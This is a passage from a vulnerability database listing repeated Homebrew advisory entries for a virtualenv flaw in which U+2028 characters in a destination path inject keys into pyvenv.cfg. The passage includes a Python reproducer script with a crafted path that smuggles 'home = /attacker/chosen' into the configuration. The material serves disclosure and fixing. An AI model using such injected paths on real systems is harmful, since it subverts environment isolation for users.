    The altered home can change which standard-library files the interpreter loads if an attacker also controls that location; include-system-site-packages = true weakens environment isolation. Choosing the venv creator is required, either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in 20.0.0b1. PR #3426 rejects line-boundary characters before creation and rebuilds the final configuration from selected settings.

    Attack sequence

    sequenceDiagram
        participant A as Destination supplier
        participant S as stdlib venv
        participant V as virtualenv readback
        participant C as Final pyvenv.cfg
        participant P as Environment Python
        A->>S: path contains U+2028 and home = /attacker/chosen
        S->>C: write path inside command value
        V->>C: read with splitlines()
        V->>V: parse suffix as separate keys
        V->>C: rewrite home and include-system-site-packages
        P->>C: read injected keys on startup
        C-->>P: sys._home changes and isolation is disabled
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-6ZQHJ6VI. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    
    work = "/tmp/repro-venv-creator-cfg"
    shutil.rmtree(work, ignore_errors=True)
    
    # the attacker's input: the text of a destination path.
    # U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.
    # The slashes only make nested directories; the last key, x, absorbs the rest of the path.
    LS = "\u2028"
    dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"
    
    base_python = os.path.realpath(shutil.which("python"))
    real_home = os.path.dirname(base_python)
    
    
    def pyvenv_cfg_lines(env):
        # split on "\n" only, as the interpreter does
        return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")
    
    
    def sys_home(env):
        # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg
        probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"]
        return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()
    
    
    # control: the same path through the standard library alone
    stdlib_env = dest + "-stdlib"
    subprocess.run([base_python, "-m", "venv", "--without-pip", stdlib_env], check=True)
    
    # attack: the same path through virtualenv; --creator venv is the one non-default option
    virtualenv_env = dest + "-virtualenv"
    created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenv_env])
    if created.returncode != 0:  # refusing such a destination is a valid fix
        print("virtualenv refused the destination")
        print("OK")
        raise SystemExit
    
    # check
    stdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)
    virtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)
    
    print("CONTROL  python -m venv wrote pyvenv.cfg:")
    for line in stdlib_cfg:
        print("    " + ascii(line))
    print(f"CONTROL  python -m venv: sys._home = {stdlib_home}")
    print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:")
    for line in virtualenv_cfg:
        print("    " + ascii(line))
    print(f"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}")
    
    keys_injected = "home = /attacker/chosen" in virtualenv_cfg and "include-system-site-packages = true" in virtualenv_cfg
    print("BUG" if stdlib_home == real_home and keys_injected and virtualenv_home == "/attacker/chosen" else "OK")
    

    Impact

    Destination path data can change configuration boundaries and therefore environment settings. The effect depends on which settings change and how the environment is subsequently used.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved path again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv options, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain supported.

    Fix: PR #3426.

    Known mitigation

    Reject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.15.1",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "hatch",
            "purl": "pkg:brew/hatch"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "1.9.3"
                },
                {
                  "fixed": "1.18.1_2"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.15.1",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.15.1"
          }
        ]
      },
      "details": "## Summary\n\nThe venv creator reads the standard library\u0027s generated pyvenv.cfg with splitlines() and merges all resulting keys over\nvirtualenv\u0027s configuration. Line-boundary characters from destination data can therefore become configuration structure\nbefore output sanitization.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nConfiguration readback by the stdlib venv creator.\n\n## Attacker-controlled input\n\nAn untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a\ncharacter that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[venv readback](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/venv.py),\n[configuration parser](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\nWith `--creator venv`, virtualenv asks the standard library to create an environment, reads its `pyvenv.cfg` with\n`str.splitlines()`, and merges the parsed keys over virtualenv\u0027s chosen settings. CPython writes the destination into a\n`command =` value without escaping every character that `splitlines()` recognizes as a line boundary. A destination\ncontaining U+2028, for example, can therefore supply new `home` and `include-system-site-packages` keys during readback.\nVirtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.\n\n## Reproduction and evidence\n\nThe scanner used one destination value with U+2028 between `home = /attacker/chosen`,\n`include-system-site-packages = true`, and an absorbing `x =` key. A `python -m venv --without-pip` control kept the\nvalue inside its `command` line and reported the base interpreter\u0027s `sys._home`. `virtualenv --creator venv --no-seed`\non the same value wrote separate injected configuration lines and its interpreter reported\n`sys._home = /attacker/chosen`. The path did not require a literal newline byte. The control establishes that the extra\nkeys came from virtualenv\u0027s readback, not from the standard library\u0027s initial file alone.\n\nThe altered `home` can change which standard-library files the interpreter loads if an attacker also controls that\nlocation; `include-system-site-packages = true` weakens environment isolation. Choosing the venv creator is required,\neither explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in\n20.0.0b1. [PR #3426](https://github.com/pypa/virtualenv/pull/3426) rejects line-boundary characters before creation and\nrebuilds the final configuration from selected settings.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Destination supplier\n    participant S as stdlib venv\n    participant V as virtualenv readback\n    participant C as Final pyvenv.cfg\n    participant P as Environment Python\n    A-\u003e\u003eS: path contains U+2028 and home = /attacker/chosen\n    S-\u003e\u003eC: write path inside command value\n    V-\u003e\u003eC: read with splitlines()\n    V-\u003e\u003eV: parse suffix as separate keys\n    V-\u003e\u003eC: rewrite home and include-system-site-packages\n    P-\u003e\u003eC: read injected keys on startup\n    C--\u003e\u003eP: sys._home changes and isolation is disabled\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-6ZQHJ6VI`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\n\nwork = \"/tmp/repro-venv-creator-cfg\"\nshutil.rmtree(work, ignore_errors=True)\n\n# the attacker\u0027s input: the text of a destination path.\n# U+2028 ends a line for str.splitlines() but not for CPython\u0027s own pyvenv.cfg reader.\n# The slashes only make nested directories; the last key, x, absorbs the rest of the path.\nLS = \"\\u2028\"\ndest = f\"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env\"\n\nbase_python = os.path.realpath(shutil.which(\"python\"))\nreal_home = os.path.dirname(base_python)\n\n\ndef pyvenv_cfg_lines(env):\n    # split on \"\\n\" only, as the interpreter does\n    return open(f\"{env}/pyvenv.cfg\", encoding=\"utf-8\").read().split(\"\\n\")\n\n\ndef sys_home(env):\n    # site.py sets sys._home from the `home` key of the environment\u0027s pyvenv.cfg\n    probe = [f\"{env}/bin/python\", \"-c\", \"import sys; print(sys._home)\"]\n    return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()\n\n\n# control: the same path through the standard library alone\nstdlib_env = dest + \"-stdlib\"\nsubprocess.run([base_python, \"-m\", \"venv\", \"--without-pip\", stdlib_env], check=True)\n\n# attack: the same path through virtualenv; --creator venv is the one non-default option\nvirtualenv_env = dest + \"-virtualenv\"\ncreated = subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--no-seed\", \"--creator\", \"venv\", virtualenv_env])\nif created.returncode != 0:  # refusing such a destination is a valid fix\n    print(\"virtualenv refused the destination\")\n    print(\"OK\")\n    raise SystemExit\n\n# check\nstdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)\nvirtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)\n\nprint(\"CONTROL  python -m venv wrote pyvenv.cfg:\")\nfor line in stdlib_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"CONTROL  python -m venv: sys._home = {stdlib_home}\")\nprint(\"OBSERVED virtualenv --creator venv wrote pyvenv.cfg:\")\nfor line in virtualenv_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}\")\n\nkeys_injected = \"home = /attacker/chosen\" in virtualenv_cfg and \"include-system-site-packages = true\" in virtualenv_cfg\nprint(\"BUG\" if stdlib_home == real_home and keys_injected and virtualenv_home == \"/attacker/chosen\" else \"OK\")\n```\n\n## Impact\n\nDestination path data can change configuration boundaries and therefore environment settings. The effect depends on\nwhich settings change and how the environment is subsequently used.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved\npath again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv\noptions, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain\nsupported.\n\nFix: [PR #3426](https://github.com/pypa/virtualenv/pull/3426).\n\n## Known mitigation\n\nReject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-6ZQHJ6VI.",
      "id": "BREW-hatch-CVE-2026-113715",
      "modified": "2026-11-19T10:09:46Z",
      "published": "2026-10-27T09:24:17Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqf"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113715"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3426"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/b0008a58885ded9227faf8f910c6c402712c750a"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Venv configuration readback can reinterpret path boundaries",
      "upstream": [
        "GHSA-qmx5-4p3x-wvqf",
        "CVE-2026-113715",
        "BIT-virtualenv-2026-113715",
        "PYSEC-2026-4374"
      ]
    }

    BREW-NOX-CVE-2026-113715 (GHSA-QMX5-4P3X-WVQF)

    Vulnerability from osv_homebrew – Published: 2026-10-27 09:54 – Updated: 2026-11-19 10:29 – Source website
    VLAI
    Summary
    virtualenv: Venv configuration readback can reinterpret path boundaries
    Details

    Summary

    The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.

    Anthropic's OSS Scanner reported this as ANT-2026-6ZQHJ6VI in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Configuration readback by the stdlib venv creator.

    Attacker-controlled input

    An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.

    Affected code

    The relevant 21.14.8 source is in venv readback, configuration parser.

    Mechanism

    With --creator venv, virtualenv asks the standard library to create an environment, reads its pyvenv.cfg with str.splitlines(), and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a command = value without escaping every character that splitlines() recognizes as a line boundary. A destination containing U+2028, for example, can therefore supply new home and include-system-site-packages keys during readback. Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.

    Reproduction and evidence

    The scanner used one destination value with U+2028 between home = /attacker/chosen, include-system-site-packages = true, and an absorbing x = key. A python -m venv --without-pip control kept the value inside its command line and reported the base interpreter's sys._home. virtualenv --creator venv --no-seed on the same value wrote separate injected configuration lines and its interpreter reported sys._home = /attacker/chosen. The path did not require a literal newline byte. The control establishes that the extra keys came from virtualenv's readback, not from the standard library's initial file alone.

    The altered home can change which standard-library files the interpreter loads if an attacker also controls that location; include-system-site-packages = true weakens environment isolation. Choosing the venv creator is required, either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in 20.0.0b1. PR #3426 rejects line-boundary characters before creation and rebuilds the final configuration from selected settings.

    Attack sequence

    sequenceDiagram
        participant A as Destination supplier
        participant S as stdlib venv
        participant V as virtualenv readback
        participant C as Final pyvenv.cfg
        participant P as Environment Python
        A->>S: path contains U+2028 and home = /attacker/chosen
        S->>C: write path inside command value
        V->>C: read with splitlines()
        V->>V: parse suffix as separate keys
        V->>C: rewrite home and include-system-site-packages
        P->>C: read injected keys on startup
        C-->>P: sys._home changes and isolation is disabled
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-6ZQHJ6VI. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    
    work = "/tmp/repro-venv-creator-cfg"
    shutil.rmtree(work, ignore_errors=True)
    
    # the attacker's input: the text of a destination path.
    # U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.
    # The slashes only make nested directories; the last key, x, absorbs the rest of the path.
    LS = "\u2028"
    dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"
    
    base_python = os.path.realpath(shutil.which("python"))
    real_home = os.path.dirname(base_python)
    
    
    def pyvenv_cfg_lines(env):
        # split on "\n" only, as the interpreter does
        return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")
    
    
    def sys_home(env):
        # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg
        probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"]
        return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()
    
    
    # control: the same path through the standard library alone
    stdlib_env = dest + "-stdlib"
    subprocess.run([base_python, "-m", "venv", "--without-pip", stdlib_env], check=True)
    
    # attack: the same path through virtualenv; --creator venv is the one non-default option
    virtualenv_env = dest + "-virtualenv"
    created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenv_env])
    if created.returncode != 0:  # refusing such a destination is a valid fix
        print("virtualenv refused the destination")
        print("OK")
        raise SystemExit
    
    # check
    stdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)
    virtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)
    
    print("CONTROL  python -m venv wrote pyvenv.cfg:")
    for line in stdlib_cfg:
        print("    " + ascii(line))
    print(f"CONTROL  python -m venv: sys._home = {stdlib_home}")
    print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:")
    for line in virtualenv_cfg:
        print("    " + ascii(line))
    print(f"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}")
    
    keys_injected = "home = /attacker/chosen" in virtualenv_cfg and "include-system-site-packages = true" in virtualenv_cfg
    print("BUG" if stdlib_home == real_home and keys_injected and virtualenv_home == "/attacker/chosen" else "OK")
    

    Impact

    Destination path data can change configuration boundaries and therefore environment settings. The effect depends on which settings change and how the environment is subsequently used.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved path again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv options, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain supported.

    Fix: PR #3426.

    Known mitigation

    Reject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.14.13",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "nox",
            "purl": "pkg:brew/nox"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2023.4.22_1"
                },
                {
                  "fixed": "2026.10.20"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.14.13",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.14.13"
          }
        ]
      },
      "details": "## Summary\n\nThe venv creator reads the standard library\u0027s generated pyvenv.cfg with splitlines() and merges all resulting keys over\nvirtualenv\u0027s configuration. Line-boundary characters from destination data can therefore become configuration structure\nbefore output sanitization.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nConfiguration readback by the stdlib venv creator.\n\n## Attacker-controlled input\n\nAn untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a\ncharacter that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[venv readback](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/venv.py),\n[configuration parser](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\nWith `--creator venv`, virtualenv asks the standard library to create an environment, reads its `pyvenv.cfg` with\n`str.splitlines()`, and merges the parsed keys over virtualenv\u0027s chosen settings. CPython writes the destination into a\n`command =` value without escaping every character that `splitlines()` recognizes as a line boundary. A destination\ncontaining U+2028, for example, can therefore supply new `home` and `include-system-site-packages` keys during readback.\nVirtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.\n\n## Reproduction and evidence\n\nThe scanner used one destination value with U+2028 between `home = /attacker/chosen`,\n`include-system-site-packages = true`, and an absorbing `x =` key. A `python -m venv --without-pip` control kept the\nvalue inside its `command` line and reported the base interpreter\u0027s `sys._home`. `virtualenv --creator venv --no-seed`\non the same value wrote separate injected configuration lines and its interpreter reported\n`sys._home = /attacker/chosen`. The path did not require a literal newline byte. The control establishes that the extra\nkeys came from virtualenv\u0027s readback, not from the standard library\u0027s initial file alone.\n\nThe altered `home` can change which standard-library files the interpreter loads if an attacker also controls that\nlocation; `include-system-site-packages = true` weakens environment isolation. Choosing the venv creator is required,\neither explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in\n20.0.0b1. [PR #3426](https://github.com/pypa/virtualenv/pull/3426) rejects line-boundary characters before creation and\nrebuilds the final configuration from selected settings.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Destination supplier\n    participant S as stdlib venv\n    participant V as virtualenv readback\n    participant C as Final pyvenv.cfg\n    participant P as Environment Python\n    A-\u003e\u003eS: path contains U+2028 and home = /attacker/chosen\n    S-\u003e\u003eC: write path inside command value\n    V-\u003e\u003eC: read with splitlines()\n    V-\u003e\u003eV: parse suffix as separate keys\n    V-\u003e\u003eC: rewrite home and include-system-site-packages\n    P-\u003e\u003eC: read injected keys on startup\n    C--\u003e\u003eP: sys._home changes and isolation is disabled\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-6ZQHJ6VI`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\n\nwork = \"/tmp/repro-venv-creator-cfg\"\nshutil.rmtree(work, ignore_errors=True)\n\n# the attacker\u0027s input: the text of a destination path.\n# U+2028 ends a line for str.splitlines() but not for CPython\u0027s own pyvenv.cfg reader.\n# The slashes only make nested directories; the last key, x, absorbs the rest of the path.\nLS = \"\\u2028\"\ndest = f\"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env\"\n\nbase_python = os.path.realpath(shutil.which(\"python\"))\nreal_home = os.path.dirname(base_python)\n\n\ndef pyvenv_cfg_lines(env):\n    # split on \"\\n\" only, as the interpreter does\n    return open(f\"{env}/pyvenv.cfg\", encoding=\"utf-8\").read().split(\"\\n\")\n\n\ndef sys_home(env):\n    # site.py sets sys._home from the `home` key of the environment\u0027s pyvenv.cfg\n    probe = [f\"{env}/bin/python\", \"-c\", \"import sys; print(sys._home)\"]\n    return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()\n\n\n# control: the same path through the standard library alone\nstdlib_env = dest + \"-stdlib\"\nsubprocess.run([base_python, \"-m\", \"venv\", \"--without-pip\", stdlib_env], check=True)\n\n# attack: the same path through virtualenv; --creator venv is the one non-default option\nvirtualenv_env = dest + \"-virtualenv\"\ncreated = subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--no-seed\", \"--creator\", \"venv\", virtualenv_env])\nif created.returncode != 0:  # refusing such a destination is a valid fix\n    print(\"virtualenv refused the destination\")\n    print(\"OK\")\n    raise SystemExit\n\n# check\nstdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)\nvirtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)\n\nprint(\"CONTROL  python -m venv wrote pyvenv.cfg:\")\nfor line in stdlib_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"CONTROL  python -m venv: sys._home = {stdlib_home}\")\nprint(\"OBSERVED virtualenv --creator venv wrote pyvenv.cfg:\")\nfor line in virtualenv_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}\")\n\nkeys_injected = \"home = /attacker/chosen\" in virtualenv_cfg and \"include-system-site-packages = true\" in virtualenv_cfg\nprint(\"BUG\" if stdlib_home == real_home and keys_injected and virtualenv_home == \"/attacker/chosen\" else \"OK\")\n```\n\n## Impact\n\nDestination path data can change configuration boundaries and therefore environment settings. The effect depends on\nwhich settings change and how the environment is subsequently used.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved\npath again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv\noptions, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain\nsupported.\n\nFix: [PR #3426](https://github.com/pypa/virtualenv/pull/3426).\n\n## Known mitigation\n\nReject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-6ZQHJ6VI.",
      "id": "BREW-nox-CVE-2026-113715",
      "modified": "2026-11-19T10:29:00Z",
      "published": "2026-10-27T09:54:45Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqf"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113715"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3426"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/b0008a58885ded9227faf8f910c6c402712c750a"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Venv configuration readback can reinterpret path boundaries",
      "upstream": [
        "GHSA-qmx5-4p3x-wvqf",
        "CVE-2026-113715",
        "BIT-virtualenv-2026-113715",
        "PYSEC-2026-4374"
      ]
    }

    BREW-PDM-CVE-2026-113715 (GHSA-QMX5-4P3X-WVQF)

    Vulnerability from osv_homebrew – Published: 2026-10-27 08:57 – Updated: 2026-11-19 09:17 – Source website
    VLAI
    Summary
    virtualenv: Venv configuration readback can reinterpret path boundaries
    Details

    Summary

    The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.

    Anthropic's OSS Scanner reported this as ANT-2026-6ZQHJ6VI in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Configuration readback by the stdlib venv creator.

    Attacker-controlled input

    An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.

    Affected code

    The relevant 21.14.8 source is in venv readback, configuration parser.

    Mechanism

    With --creator venv, virtualenv asks the standard library to create an environment, reads its pyvenv.cfg with str.splitlines(), and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a command = value without escaping every character that splitlines() recognizes as a line boundary. A destination containing U+2028, for example, can therefore supply new home and include-system-site-packages keys during readback. Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.

    Reproduction and evidence

    The scanner used one destination value with U+2028 between home = /attacker/chosen, include-system-site-packages = true, and an absorbing x = key. A python -m venv --without-pip control kept the value inside its command line and reported the base interpreter's sys._home. virtualenv --creator venv --no-seed on the same value wrote separate injected configuration lines and its interpreter reported sys._home = /attacker/chosen. The path did not require a literal newline byte. The control establishes that the extra keys came from virtualenv's readback, not from the standard library's initial file alone.

    The altered home can change which standard-library files the interpreter loads if an attacker also controls that location; include-system-site-packages = true weakens environment isolation. Choosing the venv creator is required, either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in 20.0.0b1. PR #3426 rejects line-boundary characters before creation and rebuilds the final configuration from selected settings.

    Attack sequence

    sequenceDiagram
        participant A as Destination supplier
        participant S as stdlib venv
        participant V as virtualenv readback
        participant C as Final pyvenv.cfg
        participant P as Environment Python
        A->>S: path contains U+2028 and home = /attacker/chosen
        S->>C: write path inside command value
        V->>C: read with splitlines()
        V->>V: parse suffix as separate keys
        V->>C: rewrite home and include-system-site-packages
        P->>C: read injected keys on startup
        C-->>P: sys._home changes and isolation is disabled
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-6ZQHJ6VI. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    
    work = "/tmp/repro-venv-creator-cfg"
    shutil.rmtree(work, ignore_errors=True)
    
    # the attacker's input: the text of a destination path.
    # U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.
    # The slashes only make nested directories; the last key, x, absorbs the rest of the path.
    LS = "\u2028"
    dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"
    
    base_python = os.path.realpath(shutil.which("python"))
    real_home = os.path.dirname(base_python)
    
    
    def pyvenv_cfg_lines(env):
        # split on "\n" only, as the interpreter does
